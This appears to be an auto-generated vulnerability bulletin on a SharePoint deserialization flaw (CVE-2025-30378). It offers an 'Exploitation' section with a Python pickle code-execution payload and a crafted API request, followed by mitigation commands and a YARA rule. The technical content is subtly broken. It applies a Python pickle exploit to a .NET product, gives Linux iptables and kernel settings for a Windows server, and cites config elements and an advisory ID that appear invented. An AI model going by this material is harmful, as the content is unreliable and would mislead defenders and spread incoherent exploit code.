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How CVE-2025-30378 Works
CVE-2025-30378 is a deserialization vulnerability in Microsoft SharePoint that allows remote attackers to execute arbitrary code by exploiting improper validation of serialized objects. The flaw occurs when SharePoint deserializes untrusted data without proper checks, enabling an attacker to craft malicious payloads that trigger code execution under the context of the SharePoint application pool. Attackers can exploit this via network-accessible endpoints, often through phishing or compromised user sessions, leading to full system compromise.
DailyCVE Form
Platform: Microsoft SharePoint
Version: Unpatched versions prior to May 2025
Vulnerability: Deserialization RCE
Severity: Critical
Date: 05/14/2025
What Undercode Say:
Exploitation:
1. Payload Crafting:
import pickle
class Exploit:
def <strong>reduce</strong>(self):
return (exec, ('import os; os.system("calc")',))
payload = pickle.dumps(Exploit())
2. Trigger via SharePoint API:
POST /_api/web/lists HTTP/1.1 Host: target-sharepoint Content-Type: application/xml Payload: [Serialized Malicious Data]
Detection & Mitigation:
1. Check Patch Status:
Get-HotFix | Where-Object { $_.Description -like "SharePoint 2025" }
2. Disable Risky Features:
<SharePoint> <SafeMode MaxDeserializationSize="0" /> </SharePoint>
3. Network Controls:
iptables -A INPUT -p tcp --dport 443 -m string --algo bm --string "pickle" -j DROP
4. Log Monitoring:
Get-EventLog -LogName "Application" -Source "SharePoint" | Where-Object { $_.Message -match "Deserialization" }
5. Patch Reference:
Microsoft Advisory: MSRC-2025-30378
6. Exploit Prevention (IIS):
<requestFiltering> <fileExtensions> <add fileExtension=".bin" allowed="false" /> </fileExtensions> </requestFiltering>
7. Memory Protection:
echo 2 > /proc/sys/kernel/randomize_va_space
8. Endpoint Detection (YARA):
rule SharePoint_RCE_30378 {
strings: $pickle_magic = { 80 04 95 }
condition: $pickle_magic
}
Sources:
Reported By: nvd.nist.gov
Extra Source Hub:
Undercode
